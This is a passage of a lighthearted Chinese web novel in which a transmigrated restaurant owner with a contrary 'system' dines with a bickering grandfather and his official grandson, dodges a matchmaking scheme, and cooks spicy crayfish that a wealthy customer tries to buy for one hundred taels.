姜泊清轻轻抚摸自己的臀,觉着她说得有道理,今天的汤真心可以,不可错过。
于是他小心翼翼地坐了回去,谄媚地对老爷子笑了笑。
沈秋吟瞧见了,差点惊掉了下巴。
救命!她当时怎么会以为他是个冷面阎王呀!这分明是个狗腿子!
他那笑……那笑,不忍直视!简直有辱斯文,有辱斯文!
姜雁瞥了一眼不识好歹的姜泊清,轻“哼”一声,别过头笑吟吟地看着沈秋吟道:“还是沈丫头懂吃,也只有他这‘狗见嫌’的东西不懂吃。”
听了这话,沈秋吟差点又喷出一口汤来。“狗嫌吃”、“狗见嫌”,这两人不愧是亲祖孙,连损人的话都这般相似。
姜泊清喝汤的动作一顿,端着碗的手青筋乍现。
就在她以为暴风雨又要来临时,却听他说:“您说得对……”
沈秋吟呆住了,啊这,啊这……
他们喝得开心,姜雁十分满足,忍不住自我夸耀道:“老头子的厨艺呀,真好!简直是厨神降世,嘿嘿。”
沈秋吟轻咳一声,不说话,默默喝汤。人有自知之明挺好的,但耐不住有些人他脸皮厚。
姜泊清忍不下去了,“我承认您今天做的鸡汤是好喝,但这也不能否认您从前厨艺差的事实吧!”
士可杀,不可辱!
姜雁一听,又来气了,梗着脖子道:“我厨艺差怎么了?我厨艺差那也是我的本事!你想厨艺差还没这个机会呢!再说,老子就算厨艺再差,还不是把你这狗东西养这么大了!”
哼!这兔崽子!真是不会说话。
难怪这么大了还讨不到媳妇儿。
姜泊清一惊,他真是头一次听见有人把厨艺差说的如此理直气壮的。这要不是他亲爷爷,他定一掌将他拍死。
真是厚颜无耻之徒!但没办法,自己的爷爷,那就只能自己怼。
姜泊清放下碗,碗落桌发出“啪”的一声响,只听他一本正经地发问:“爷爷。我是狗东西,你是啥?”
这,这,都说了是亲祖孙。姜泊清是狗东西的话,那姜雁岂不是也是狗?
若不是场合不对,看戏的沈秋吟是真想为姜泊清啪个粑粑掌。这反问问得好,我们是祖孙,你是狗,我也是,咱们谁也跑不脱。
真可谓是,本是同根生,相煎何太急呀!
“小兔崽子你!”姜雁气地吹胡子瞪眼,恨不得将他凌迟处死。
却听姜泊清依旧一本正经说:“小兔崽子这话也不能骂。”
姜雁眼睛一转,一想,明白了,也更气了。
好家伙!搁这儿指桑卖槐呢!
这次,姜老头子将那扫帚一扔,抄起手腕厚的木棍,追着姜泊清就是打。
好一个竹笋炒肉,真是有滋有味!
沈秋吟看得那叫一个目不转睛,心里头更是乐开了花。
名满濮阳城的少卿大人被他爷爷追着打,她若将这事写成话本子,拿去卖,绝对能赚好大一笔钱。
这可是独家!独家呀!
就问世人谁不爱八卦!
系统的声音在此时冷不丁响起:“检测到宿主消极劝架,启动缓和模式。”
沈秋吟心中一个“咯噔”,狗系统!果真是一身反骨!
系统:毕竟我名就叫反骨。
沈秋吟真想一把给它掐死。
系统话音刚落,姜雁本要落在姜泊清身上的那一棍突然就没了力气,只轻轻地碰了他一下便被姜雁扔在了地上。
怎么说也是自己亲孙子,一棍子打下去,心疼的还是自己。
他道:“算了,老子不跟你计较了。跟你计较气坏的也是老子,不划算。再说,咱们要再这么折腾下去,这汤真就要拿去回锅了。”
姜泊清顺着他给的台阶下,“爷爷说得对,我也是这么想的。百年山参炖汤,还是头锅最鲜,回锅就不对味儿了。”
“哼!还不得感谢老头子我运气好,挖到了百年山参。”姜雁侧着脸说,将“傲娇”一词展现得淋漓尽致。
姜泊清奉承道:“是是是,感谢您老,没了您,今日是肯定喝不到的。”
这突然的转变,让沈秋吟感叹,人生呀……咋就无戏可看了呢!
这顿饭,在经历过吵吵闹闹后,最终在平静中吃完。
吃了人家的东西就得有所回报,这是沈秋吟她妈从小教她的道理。毕竟,天下没有白吃的午餐。所以沈秋吟将桌上的碗筷收好,打算用洗碗做为回报。
姜雁却道:“沈丫头,你放下。”
姜泊清扒完最后一口饭,接着姜雁的话说:“我来洗。”
“你行吗?”沈秋吟小小地质疑。
虽然这个世界开放,不同于她所熟知的真正封建王朝,男子会下厨做饭,但洗碗却少,他怕姜泊清洗到最后,一个碗也不剩。
那可就是糟践碗了哦!
“沈丫头,你可别小瞧他。他从六岁
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起就开始洗碗了。这洗碗的事,对他来说都是小意思,他行得不能再行。”
姜雁端着茶,茶香悠悠,他深吸一下,轻抿一口,发出满足的叹息。
姜泊清对她道:“爷爷说的对,我从六岁起就开始洗碗。”
六岁,身高比厨台子都矮,便开始洗碗。
沈秋吟莫名从中听出了几分辛酸。
姜泊清端起碗,叹了口气。
他父亲是礼部尚书,却宠妾灭妻,他从小在尚书府没过过好日子,直到他六岁时,远在边疆的姜雁班师回朝,与儿子断绝父子关系,将他带离尚书府。
那时候,他以为,离开了尚书府便能到了天堂,但现实告诉他,他不过是从一个地狱走到了另一个地狱——洗碗。
这个从六岁起就跟随他的地狱呀!他至今也没能摆脱。
枉他一个少卿大人的竟然还要洗碗。这究竟是人性的泯灭,还是天道的不公!
苍天,大地呀!
他在心里咆哮,可依旧改变不了他要洗碗的事实。
沈秋吟目送他端起碗,宛如壮士断腕般走向厨房,迎接一个又一个盘子。
哦耶!真开心,不用洗碗。
哈哈哈哈哈哈!
沈秋吟在心里爆笑。
姜雁招呼她道:“沈丫头过来,跟爷爷说说话。”
“好勒!”沈秋吟走到姜雁旁边的椅子上坐着,端出了咸鱼的样子。
姜雁不知何时打开了装桃花酥的盒子,拿了一块桃花酥,咬了一半问她,“这桃花酥你做的?”
“嗯。”沈秋吟点头,她随便做的。反骨系统每次都在她努力后摧毁她,她怕系统坏事,所以就随便做了做,做的时候也没按照标准来,也不晓得难不难吃。
“味道怎么样?”她小心翼翼地问。
姜雁没出声,又咬了一口,沈秋吟的心提了起来。而他下一秒道:“可太好吃了!”
桃花香瞬间充斥耳鼻,酥酥脆脆的口感更是让人欲罢不能,他不停的咀嚼,只觉越来越香,越来越香,明明身在炎炎夏日,他却仿佛置身于三月的桃林里。
沈秋吟的心降了下来,但害怕姜雁是为哄她,才这般说,便又问了一遍:“真的?”
“当真当真。”姜雁为了证明自己没说慌,不光一口咬掉手中余下的桃花酥,还又从盒中拿了一块出来,咬了一半。
这次,沈秋吟的心当真掉了下来。
姜雁吃得津津有味。
沈秋吟坐在一旁,东看看、西看看,瞥见了院里的草药,眼珠子一转,细细一想,凑过身道:“爷爷,看在我做的桃花酥如此好吃的份上,不如你卖些草药给我。”
“你买草药作甚?”他问。
“我卖回去让百膳楼的师傅们做成药膳吃。”
姜雁院里的草药都是他细心培育的,比市坊里的好,这药膳做出来,味道肯定更好,卖出去,肯定也能卖个更好的价格。
到时候……沈秋吟一想到,便流口水,钱,全是钱!
她要发财了!
哦哈哈!
姜雁没说话,沉思了一会儿,认真道:“卖你。你能做我孙媳妇吗?”
5. 麻辣小龙虾
此话一出,恍若平地一声惊雷起,吓得沈秋吟差点没从椅子上摔下来!
孙媳妇!
她与姜泊清?
那画面美得沈秋吟简直不敢想象。
“我这孙儿,生得仪表堂堂,且年少有为,任大理寺少卿时破获奇案无数,得皇上数次嘉奖。沈丫头,考虑一下?”姜雁笑道。
沈秋吟看着这笑,想到了“推销”一词。那些推销人员呀,也是这样笑眯眯的推销产品,哄着人买一堆美丽的废物。姜雁如今与那些人真没两样。不过,姜泊清是不是废物就难说了,但美丽确实美丽。
“沈丫头,你觉得怎么样?”
“我觉得......”不怎么样。
姜泊清乃是从四品大官,又得天子看重,若是他愿意尚公主都行,她一个小小的食楼掌柜,两人光从地位上就不匹配。再说,两人才头一次见面,连话都没说过几句,品性这些都不了解,她能有什么觉得。
只是,这老爷子说话跟连珠炮似得,都不带喘气,她委实插不上话,只能听他继续说。
“虽说泊清他爹是个混蛋,宠妻灭妻,但泊清自小由我带大,品性纯良,绝不会哥他那滚蛋爹一样。”
沈秋吟一呆.....老爷子知不知道呀,他把姜泊清的爹拿出来和姜泊清做对比,会更没有说服力的!毕竟,血缘是个奇妙的玩意儿,有些东西他是会遗传的!
“沈丫头,你给个准话!若答应了,我院中的草药你随便拿!”
为了个草药就把自己买了,沈秋吟她又不是傻!
只听她说:“爷爷。我与姜大人今日第一次见面,话都没说几句,你就背着他让我做你孙媳妇,这不太好吧。”
你好歹问下姜泊清愿不愿意吧!
他可是你亲孙子,别这样就把他卖了!
却听姜老头子一脸无所谓道:“这有什么不好的,我是他爷爷,我看中了他还能拒绝不成。再说,沈丫头生得美,愿意当他媳妇那是他的福气。”
虽然姜雁与沈秋吟见面不过两次,但他是真心觉得沈秋吟好,不仅仅是外在美,心也美。他自己也晓得他做饭菜的水平,从前也不是没人说过他做饭难吃,可他抑制不住自己做饭的心,也唯有沈秋吟不嫌弃,还夸他做的可以。
说简单点吧,他就是看上了沈秋吟能吃他做的菜,所以才没皮没脸,想她做他孙媳妇。
“这……”沈秋吟插话失败。
姜雁滔滔不绝地说:“而且泊清这孩子,上得了厅堂下得了厨房,你若嫁给他,以后他做饭,你负责吃,绝不让你吃一点苦头。”
冲着这句话,沈秋吟待不下去了。若不是系统做人,姜雁的汤得把沈秋吟喝死,他做饭尚且如此,姜泊清的水平,难说!难说!她得早早地走了,不能再与老爷子扯了,她可不想“英年早逝”。
姜雁张着嘴,还想说,沈秋吟抓住时机,抢先一步开口道:“爷爷,我突然想起百膳楼还有事要我去处理,我就先告辞了。今日多谢您老的款待,待我有空,我再去看你。”
她说完,一溜烟的跑到薄情面前,一跃上马,挥舞着鞭子,打在马背上,薄情“唰”的一下冲了出去。那速度,就像在逃命一样。
可不是逃命呢!再待下去,小命不保呀!
姜雁站起来,叫着:“欸,你,你……”别走呀。
只是沈秋吟速度之快,一眨眼就没影了。
姜雁叹了口气,算了,下次再与沈丫头细说吧。
他要沈秋吟做他孙媳妇的心是不会死这么快的。
姜泊清洗好了碗从厨房出来,他在院子里张望片刻,没看到沈秋吟,问道:“沈姑娘呢?”
“走了。”
“怎么走的?”
“被我吓走的。”
吓?老爷子吓那姑娘做什么?他不是挺喜欢她的吗?他与他在厨房忙活的时候,他还说这姑娘美而不妖,妖而不艳,是个好姑娘。
怎么他洗个碗的功夫就把人家吓走了?
“你做了什么?”姜泊清突然生出一股不祥之感。
姜雁嘿嘿一笑,活像拐小孩的坏叔叔“泊清,你把沈丫头娶回来给我做孙媳妇怎么样?”
拉郎配嘛!总不能只在一方忙活,得双管齐下才好。沈丫头那里没谈好,泊清这里总行吧。
只要他肯追,还怕姑娘不回头?
“啊,啊,啊这……”姜泊清惊的连话都说不清楚了。
难怪那姑娘会被吓跑。有一瞬间,他也被吓着了,有暴走的冲动。
姜雁丝毫没发现姜泊清呆愣的表情,还在喋喋不休说:“沈丫头人美,还吃得下我做的饭菜。并且手艺了得。我刚吃了她亲手做的桃花酥,甜而不腻,酥软可口,你若娶了她就有口福了。并且,最关键是你再也不用受老爷子我做的饭菜折磨了。这是不是个两全其美的办法?”
姜雁越想越觉得他的想法很好!这不,沈丫头一个人,就解决了两个矛盾。
一是,他可以做菜给沈丫头吃,满足他做菜的欲望。二是,沈丫头可以做菜给姜泊清吃,让他再不能说自己一天天过的是地狱般的生活。
妙啊!妙啊!简直是妙极了。
有那么一瞬间,姜泊清想大逆不道的把这糟老头子掐死。
他严重怀疑自己不是姜雁的亲孙子。若是亲孙子,怎么会为了满足自己做菜的欲望就把他卖了!
他心里有无数只吃草的马儿在奔腾。
姜雁满眼期待地看着他,等着他回答。
姜泊清虽然内心汹涌澎湃,但面上不显,找了个借口:“爷爷,我突然想起大理寺还有案子要我处理,我就先走了,下次再来看你。”
他才不会让老爷子如愿呢!
姜泊清也一溜烟的走了。
姜老爷子伸手拉了个空,又长叹一口气。
算了,下次,下次他一定会成功的。
老爷子拉郎配之心,永不死。
沈秋吟回百膳楼已是夕阳西下,月亮悄悄爬上枝头,鸟儿们在树上你一句,我一句,相互唱和。
她走进百膳楼后厨,瞧见正坐在井边弯腰洗东西的章丘。
咦,他咋还没下班。
她走上前,疑惑道:“你怎么还没回?”
百膳楼的小二们都是白班与黑班间隔着上,早晨上班的,在太阳落山时便能下班,中午上班的,在深夜便可离开。
章丘今日上的是白班,早就能下班了。
却见他抬头说:“我在洗张二爷送来的龙虾。”
“张二爷为什么送龙虾来?”张二爷是个渔夫,不过与百膳楼没有食材上的往来。
章丘解释道:“掌柜的不是让我去请今日为百膳楼说话的人吃饭么,张二爷就是其中之一。他说他不过是说了句话,白白吃了一顿百膳楼的饭,心里过意不去,便送些龙虾来,算是礼尚往来。”
“我本说不要,可他非拉着我让我收下,不然就不要我走,我与他软磨硬泡好几个来回,拗不过他,这才收下。”
原是这样。
沈秋吟明白了。
她走近了些,瞧着这满满一盆龙虾,每个龙虾都有二指宽,活力极佳,个个都挥舞着两只大钳在盆里斗殴,拼个你死我活,一看就知品质极好。
沈秋吟看着看着,心痒痒起来,想起了夏日的深夜,一盆龙虾,一杯酒,简直是人生巅峰。
她舔了舔嘴,有些馋,不如做一道麻辣小龙虾来吃吃。
想到就干,沈秋吟立马说:“章丘,你把你洗好的龙虾选些来,掌柜的做麻辣小龙虾给你尝尝。”
章丘一听可以吃龙虾,忙丢了手上正刷着的龙虾,将已经洗好的龙虾直接端进厨房。
还挑啥,挑一只少一只。小孩才做选择,成年人都要。洗好地这一盆,全做了吧!
沈秋吟只见一道幻影,跟一阵烟似的,刹那就消失在眼前。
她怎么才发现,章丘也很有运动员的潜质。
嗯,以后跑腿送货就靠他了!
哇哈哈哈。
她在心里打着如意算盘,一旁还在做工的小二们听了不依,有人道:“掌柜的,你可不能偏心章丘,我们都想尝尝。”
他一开口,后厨热闹起来,都嚷嚷着要吃。
沈秋吟摆摆手:“好好好,都有都有。”
她话音一落,感谢的声音连绵不绝,个个脸上都洋溢着笑容。
她走进厨房,系上襜衣,大刀阔斧处理龙虾。
只见她按着龙虾,去掉头,在虾背上开了一刀,便把它扔进另一个盆里。
处理完后,她又将姜片、花椒、八角、麻椒、干辣椒、香叶、桂皮依量备好,不过,为了防止狗系统搞事情,沈秋吟将这些东西的份量都多弄了一些。
说来都是泪,被坑太多了,经验就这么总结出来了。
每回她做菜,一旦按着规矩来,系统都得启动什么什么模式,最后让好好的菜变得极其难吃,可如果她随意弄弄,这菜,反而好吃,令人拍手称绝。
所以,自从寻了这个规律以后,她每回做菜,都不按套路出牌。
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主打的就是走系统的路,让系统无路可走。
系统听了她的心声,发出了滋滋地电流音,想来是在咬牙切齿。
沈秋吟才不理它,一心都在龙虾身上。
只见她舀了几勺油倒进热锅里,热锅遇油,瞬间发出激烈的“滋滋”声。
等油温升高,沈秋吟将备好的料全倒进锅里。
刹那间冒出一阵白烟,而后辛辣的气味传遍厨房,令人不住的咳嗽。
小二们更是纷纷往外跑。
太辣了,太辣了。
光闻着味儿就不行了。
辛辣劲儿很快就过了,一会儿后,便有淡淡地清香传来,等到香味彻底迸发,沈秋吟将那盆处理好了的龙虾到进锅里。
龙虾下锅,锅里又开了花,黄橙橙的油在锅里滚开,侵略着龙虾坚硬的外壳。
在这样强大的攻势下,龙虾缴械投降,变成了深红色,还带着一股说不明道不清的香味,让人不住的吸鼻子。
太香了,要流口水了。
跑出去的小二们又围了上来,站在灶台边不住的说:“好香呀,好香。”
沈秋吟笑笑,这才哪儿到哪儿呀!
只见她又挖了一勺豆瓣酱放置锅中,拿起锅铲不停地翻炒,等黄橙橙的油变红之后,她舀了一瓢水倒下,而后对章丘说:“去取些冰糖来。”
麻辣小龙虾最重要的便是“麻辣”二字,往里面放冰糖,岂不矛盾。章丘不解问:“掌柜的,为何要放冰糖?”
沈秋吟解释道:“冰糖可以增鲜提味。”
原是这样。
章丘立马跑去放糖的地方取了些来。
冰糖下锅,沈秋吟再次翻炒,直至糖化,大火收汁,麻辣小龙虾可以出锅了。
沈秋吟拿了一个大盆,端着锅将龙虾直接倒进盆中,再取几滴白酒点入,撒上葱花,红绿搭配,让人眼睛一亮,不住地看。
从前觉得花花绿绿俗气,怎么今日就雅气上了,简直没有比这更好看的颜色了。
口齿生津,不住地往下咽,他们都馋地快落进盆里了。
沈秋吟自然注意到众人的神色,笑道:“大伙儿都来尝尝!。”
他话音一落,章丘第一个冲过去,嘿嘿一笑:“掌柜地,我就不客气了。”
只见他拿起一只龙虾,吸了一口它身上裹着的汤汁,麻辣之味顷刻在口齿里流动,他瞬间皱起了眉头,不住地呼气,可手中的动作未停,把龙虾壳一剥,就往嘴里扔。
龙虾肉紧实,又有汤汁做点燃,海鲜的腥气全然消失,只余“好吃”二字才脑海里浮现。
“怎么样?”还未动手的小二们问道。
章丘被辣得吐舌,口齿不清道:“好吃……”
他话音一落,众人都围了上来,沈秋吟被挤在了后面。
“我的龙虾……”她大喊一声,可却无人回应。
这群吃货!
虽然她没吃到龙虾,可瞧着大家吃得开心,倒也满足。
看着那层层重叠地人群,她摸摸肚子叹口气,算了,找些其他东西吃。
她出了后厨,回到房间,见桌上还有未吃完的桃花酥,拿起就吃。
吃了不知多少块,总算是填饱了肚子,她满足地躺在塌上,望着窗外的月光。
来这里有好些日子了,除了没有现代地高科技可以玩之外,其他的似乎还不错。
系统这时冒了个泡:“宿主,按照你们那儿的说法,我难道不算高科技吗?”
“不,”沈秋吟故意逗趣道,“你才不是高科技,你顶多算小垃圾!”
系统冷“哼”一声:“你才是小垃圾!要不是我,你早就一命呜呼了!”
沈秋吟想起了那数米高的巨浪,不住地寒颤,它说得对,若没有它,她可能早就见阎王了。
她心里生出愧疚之意:“对不起嘛!”
系统高傲道:“勉为其难原谅你了。”
嘁!傲娇怪!
窗外地月亮渐渐隐没在云层里,月光也浅了,直至留下一片黑暗。
沈秋吟枕着手问:“可是,你为什么会挑中我?”
系统嘿嘿一笑:“这是个秘密!”
听了这个,她决定收回道歉的话,它还是个狗系统!
“宿主,你!”
沈秋吟对它做了个白眼。
系统气得不停发出“滋滋滋”的电音,一场大战一触即发。
只见双方架势十足,正要开摆,却听一阵敲门声响,章丘道:“掌柜的,出事了!”
6. 有钱!任性!
时间回溯,这事儿还得从沈秋吟做的那盆龙虾说起。
沈秋吟走后,他们在后厨吃得开心,连前面跑堂的小二也加入了战斗。
众人围成了一个圆,一句话也不说,不住地吃,生怕速度比别人慢了,少吃了几只。
小二们都聚集到了这里,厨子们也都敞开了肚皮吃,堂里的客人自然就被他们抛在了脑后。
富甲一方地李保德早早点了餐,可他都饿得前胸贴后背了,也没见他点的餐上来。
他等得不耐烦了,怒火上了脑门,冲进后厨正要找厨子理论,却见这些人都围成了一个圈,安静地连根针都听得清楚。
这是再干啥?做法呀!
他生了好奇,走近了想瞧个怎么回事。
一阵鲜香却径直飞去了他的鼻息,辣椒的香味刺激着味蕾,花椒的香气引人犯罪。
他深深吸了吸鼻子,一瞬间,他仿佛在天上流淌,四周都弥漫着麻辣鲜香。
他正流淌地起劲儿,却听得一阵声响,众人就谁吃得最多吵了起来。七嘴八舌的争吵令他瞬间清醒,跌落云端。
他不高兴了,铁青着脸,怒着声说:“你们在吃什么?”
他声音一出,众人都回了头,数十道目光看着他,场面一时安静。
李保德背着手走过去,又问了一遍:“你们在吃什么?”
章丘啃着龙虾说:“麻辣小龙虾。”
麻辣小龙虾?
这是何物?
“长啥样?”李保德问。
章丘指了指自己手里的龙虾,“就这样。”
李保德看了一眼,红色,倒是有些好看。
“还有吗?”他问。
众人的目光都移到盆上,那里还有几个独苗苗,这就是刚才他们争起来的原因。
李保德顺着他们的目光看去,一个大盆里装着深色汤汁,汤汁里,几只小龙虾孤独地躺着,想来它的兄弟们都已经下了肚。
就这?李保德想,就是这小玩意儿在勾引他。
他走到桌边,毫不客气拿起一只龙虾,剥了壳,轻轻地咬了一口,汁水瞬间从虾肉里迸出,在口腔内乱窜,麻辣的口感,简直让人停不下来。李保德立马将手中剩余的虾肉放进嘴里,细嚼慢咽。
吃完这一只后,李保德伸出手又拿了一只。
龙虾龙虾,好吃好吃。
众人的目光,都落在李保德的身上。
却见他吃完第二只后,还要拿。
章丘不干了!小龙虾是掌柜做给他们吃的。绝不能落入外人之口
他挺胸抬头,往前走了一步,架势十足,却在开口时,又一脸谄媚:“李员外,您身份贵重,这小龙虾是海货,没啥肉,都是我们这些下人当个零嘴吃的,只怕上不了台面,配不上您的身份。”
章丘此话,明着听是为了李保德着想,实则还是为了这所剩无几的小龙虾。
掌柜的做的小龙虾味好,他们都不够吃,还在争呢!肯定是不能让李保德吃了。
众人纷纷点头:“嗯嗯嗯。”
李保德收了手,目光却还不住地瞥,可为了面子,他冷哼一声,“我就要吃,你们怎么滴?”
他自然是听懂了章丘话中的意思,可为了吃,身份这玩意儿管个屁用。“民以食为天”,这话可不是乱说的。
众人:从未见过如此厚颜无耻之人!
“这……”李保德不按照套路出牌。
只见他的手走伸向了盆中。
章丘立马制止:“等等!”
李保德不满地看着他:“你有意见?”
“额,这……”自然是有!可章丘不敢说。
却听李保德跟炮仗似的,噼里啪啦道:“你别说,我想起了。我戌时就在楼中点餐,等了大半刻你们也没将这饭菜送上来。你们说说,要是我将你们百膳楼怠慢客人的事儿拿出去一说,会怎么样啊?”
李保德说到最后,神色温和,但章丘却觉得如此吓人,瞬间也明白了事情的特殊。
李保德是濮阳城里数一数二的大财主,他若将他们顾着吃龙虾忘了上菜的事儿说出去,坏了百膳楼的名声,即使掌柜再好说话,也得将他们开了。
李保德瞥了他们一眼,瞧见他们神色低沉,很是满意,但面上还故作生气,又继续说:“本员外如今饿了,要是有东西垫着,到也愿意再等上一等。”
他这话的指向性很明显。
章丘松了口气的同时,也明白了李保德醉翁之意不在酒,而在小龙虾。
如今人为刀俎,我为鱼肉。这小龙虾自然得拱手让人。
只见章丘忙把盆中的小龙虾献上,“李员外若委实饿得厉害,就尝尝这小龙虾吧。只是这龙虾被小的们吃过,望您不要嫌弃。”
他如今是全然忘了刚才是怎么用身份说事了。
众人都觉得章丘应该脸疼,不过章丘却不觉得。反正,只要能稳住李保德,不败坏百膳楼的名声,打脸又如何。再说,麻辣小龙虾可以再做,这名声一旦毁了,可不好修复了。
李保德心里乐开了花,可算将这东西弄到手了。
他心愿达成,但为了让这些人心生害怕,惴惴不安,不敢妄言,于是还端着身份说:“既然如此,本员外就尝尝吧。”
他这番做派,落在旁人眼中,简直没人看。
说好的大财主呢!
就为了这几只龙虾,脸都不要了吗?
李保德从章丘手上接过盆,安然坐下,拿起一只小龙虾先嘬了一口汤汁,然后再剥壳吃虾肉,末了还舔舔手。
这东西,够味儿。为何他从前没发现这东西这样好吃呢!不过,今日发现,也委实不晚。
他吃得尽欢,可馋着了一旁的人不住地流口水。
小龙虾既已落入他人之手,他们再围着就不像话了,于是章丘对着周围的人一喊:“都别愣着了,该做什么就做什么去。”
众人依依不舍离开了后厨。
章丘弯腰在李保德身边伺候。
李保德吃上了瘾,突然觉得先前点的菜完全比不上小龙虾,于是道:“不用准备先前点的菜了,只给我再上一盆小龙虾就好。”
“好勒。”章丘应和一声,对着厨子道:“王师傅,将李员外的菜换成麻辣小龙虾。”
李保德先前点了四道菜,都是需要耗时间的大菜,他又是个急性子,等不得的人,如今换成了小龙虾,这时间可缩短了一半。正合了章丘的意。
章丘看到李保德辣得吐舌头,忙拿了茶壶替李保德倒了一杯水,贴心道:“您喝口茶,降降辣。”
他摆摆手:“不用。我就喜欢这辣味。”
李保德原就是蜀地人,喜辣,但临安人喜甜酸味,所以,临安的厨子做辣菜时辣味都不足,如今他好不容易吃到一次辣味实足的东西,自是不肯喝水去辣的。
只是可惜,这盆中剩的小龙虾太少,李保德才吃一会儿就没了。他净了手,忍不住问章丘:“小龙虾什么时候好呀?。”
他馋得厉害。
章丘道:“您瞧,王师傅正做着,一会儿就好。不若您先去大堂坐着,等做好了,我立马给您端来。”
“如此也好。”
李保德离开了后厨。
章丘在一旁看着王师傅做菜。
前面的流程都已走完,王师傅正将龙虾下锅。同样的配料,同样的做法,可不知怎的,章丘闻着这味,总觉得没有沈秋吟做的香。
章丘以为自己的鼻子被堵上了,揉了揉,又深一下,可味儿还是没先前的香。
他说:“王师傅,你觉不觉得这龙虾没有刚才香了?”
王师傅仔细闻了闻道:“好像是没刚才掌柜做的香。”
章丘疑惑,这是怎么回事?
他想了想问:“你是按照掌柜的的步骤做的吗?”
“那肯定的。”沈秋吟做小龙虾时他就在旁边,步骤什么的看得一清二楚,绝不会错。
这就奇怪了。同样的步骤,同样的方法,怎么沈秋吟做的时候就那么香呢?
两人在后厨研究,前堂的李保德等不及了,招了个小二让他去后厨催促。
章丘害怕李保德等急了闹事,也顾不得香味不对了,对厨子道:“王师傅,就这样吧,这李员外是个急性子,等不得的人,
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咱们还是快快做好,给他送去,免得他找麻烦。”
“好。”王师傅应道,加快了手上动作。
跑堂的小二为了稳住李保德,更是从蒸笼里端了一盘饺子放在他桌上,赔着笑脸说:“李员外,不若尝尝咱楼里新推出的梅菜扣肉馅饺子吧。”
李保德想也没想就拒绝道:“不吃。”
梅菜扣肉馅的饺子。听着倒是新鲜,但有了小龙虾在心上挠痒痒,李保德完全对它提不上兴趣,一心只想吃小龙虾。
小二无法,又道:“那我给您上杯冰镇酸梅汁?”
“不要。”李保德仍是坚定的拒绝,“你再去催催,何时能上麻辣小龙虾。”
“好。”
小二又去了后厨,王师傅见他来,不待他开口,便说:“马上。等冰糖化了就能出锅。”
章丘道:“再加大点火。那位爷等不及了。”
烧火的小二听了,往灶里又加了一把柴,一瞬间灶里的火势变大,不一会儿,冰糖完全融入到了汤汁中。
王师傅利索地拿用麻布端起锅,对着盆一倒,锅里的东西一点也不剩进了盆里,然后他撒上葱花,对着那在一旁等着的小二道:“可以上菜了。”
“好勒。”
那小二端起托盘,快步走到桌边,李保德见了小龙虾,沉着的脸上有了笑意,“快放下,快放下。”
小二忙放在桌上。他也不嫌脏,直接上手拿,剥了壳扔嘴里,细嚼慢咽。可嚼着嚼着,他却停了下来。
下一秒,他将口中的虾肉吐出来,一脸严肃道:“不对劲儿,不对劲儿,这龙虾不对劲儿,这和刚才的龙虾根本就是两个味道。”
跟着来的章丘解释道:“你先头吃的,是我们掌柜的做的,这次吃的,是我们大厨王师傅做的,所以味道上会有些许偏差,但不影响食用,都是同样的香。”
李保德一听,炸开锅,怒气冲冲道:“些许偏差!这可不是些许偏差,是偏差大了。这王师傅做的小龙虾,汤汁不够浓郁,麻辣味不够重,虾肉也煮老了。而刚才的小龙虾,汤汁浓郁,虾肉紧实有嚼劲,你说这是些许偏差?”
“这……”
李保德不给章丘说话地机会:“你把它撤了,我要吃你们掌柜亲自做的菜。我告诉你,今天我要是没吃到令我满意的小龙虾,我就去大理寺告你们挂羊头卖狗肉。”
章丘慌了!这可不行!要是他们食楼被告上了大理寺,今后这生意可怎么做。
他忙道:“李员外莫急,小的这就去找我们掌柜的。”
于是,这才有了章丘急慌慌敲门的事儿。
沈秋吟听了故事始末,悬着的心松下来。她原以为是什么大事,没想到就是一盆小龙虾的事。
她道:“你去告诉那位客人,今日之事,是百膳楼有错再先。他今日的消费一概不收钱,往后一月,他若来百膳楼吃饭,餐费减半。但请他明日再来吃小龙虾,我今日,实在不想做了。”
她驾马归来,都没歇着一口气,实在不想去厨房了。
章丘忧心道:“若他不依呢?”
“他不依再说吧。”
章丘记住沈秋吟的话,一字不漏的复述给李保德听。
李保德听完,想也没想就道:“我出一百两银子请你们掌柜的做小龙虾。”
“您,您……您说啥?”章丘怀疑自己的耳朵出问题了。
李保德又重复一遍:“我说我出一百两请你们掌柜的给我做小龙虾吃!”
一百两!
真是一百两!
章丘这次绝没听错,李保德就是说的一百两!
一百两呀!一百两!小龙虾如今的市价也才一两银子,这可是涨了一百倍。这李员外为了吃,可真舍得。
简直令章丘震惊!
当然,他震惊的同时,更是笑得脸都要烂了,赶忙说:“李员外,您稍等,我再去请我们掌柜的。”
章丘又飞一般地跑到沈秋吟房门前,将李保德的话说给她听。
他满眼期待地等着沈秋吟的答复,却在下一秒大跌眼镜,只听她说:“既然这样的话……我出一百二十两让他离开。”
7. 一百四十两
不赚钱的掌柜不是好掌柜,但赚钱的掌柜,就不是一条好咸鱼。
若是白日听了一百两,她或许会两眼放光,兴奋不已。可如今夜已深沉,她正值困乏之际,一心只想躺尸摆烂,对赚钱之事,自然没了兴趣,只想花钱请他走人。
章丘已经睁圆了眼睛,瞪大了嘴,一脸震惊地傻看着她。
“掌柜的,没开……玩笑?”他头一次知晓世界上居然有他们掌柜这种人,客人送上门的钱都不要,还倒贴钱请客人离开。
那可是一百两,好些食楼半年甚至一年都赚不到这么多钱。而他们食楼,光一道菜就能赚一百两,若做成了,就是业界的神话,后人反复谈论的传奇!
而我的掌柜,她居然不要,不仅如此还要倒贴钱让人离开!
这个世界怎么了?玄乎了吗?有钱人都是这么玩儿的吗?
沈秋吟看着章丘的神色变了又变,叫了他好几声也没反应,她合理怀疑这小子在心里编排她,不过不重要。
反正姑奶奶睡觉比什么都重要!再多的钱也不能让她为之所动!这才是一个咸鱼该有的修养!
她伸手在他的眼前晃了晃:“别在这里呆着了,快去跟那个客人说!”
章丘见她神色如常,没有一点要改口的意思,颇为失落的离开了。
真是皇帝不急,急死太监!
他走到大堂,李保德正喝着果酒,见他来,他道:“怎么样?你们掌柜是不是答应了?”
那可是一百两,谁听了不会心动?
恐怕那掌柜已经笑得合不拢嘴,忙不迭失去给他做小龙虾了。
都不等章丘开口,李保德又说:“你们掌柜的是不是已经去做龙虾了,什么时候能好?”
他已经美滋滋地想,等会能吃到一盆小龙虾他会多么快乐!
章丘瞧着他溢于言表的兴奋之色,吞吞吐吐说:“没……”
“没什么?”李保德皱起了眉头,感觉大事不妙。
果然,章丘说:“掌柜的说,她出一百二十两,让你离开!”
李保德怀疑自己耳朵出问题了!不然他怎会听到如此荒谬的言论。现在做掌柜的都这么有钱吗?给钱不要,还倒贴钱请人离开?
章丘看着李保德的脸色变了又变,小心道:“李员外……您看,咱们这儿要打烊了,您是不是明日再来?”
